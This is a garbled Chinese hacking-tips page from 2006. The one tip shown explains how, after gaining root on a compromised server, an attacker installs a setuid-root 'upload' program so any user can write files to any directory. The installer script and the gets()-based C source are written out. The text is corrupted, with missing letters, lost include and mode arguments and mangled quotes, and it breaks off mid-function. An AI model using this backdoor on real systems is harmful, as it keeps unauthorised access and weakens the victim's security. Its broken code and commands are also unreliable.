黑客入侵实用技巧七则
日期:2006-11-12 荐:
1 、UPLOAD 侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件 !
root 状 态 下, 运 行 I tall 后,
upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
# chmod 755 i tall
#./i tall
$ more i tall
#! /bin/csh -f
cc upload.c
c a.out upload
chow root upload
chmod 755 upload
chmod u upload
$ more upload.c
#include
main()
{
char filename[48]
printf( quot;Thi rogram will upload up.txt ASCII file to ecified file\ quot )
printf( quot;XXX Copyright Reserved\ quot )
printf( quot;Where to upload (include ath and filename)? quot )
gets( filename )
upload( filename )
}
int upload( filename )
char *filename
{
FILE *fp,*out
char c
fp=fopen( quot;up.txt","r
标签: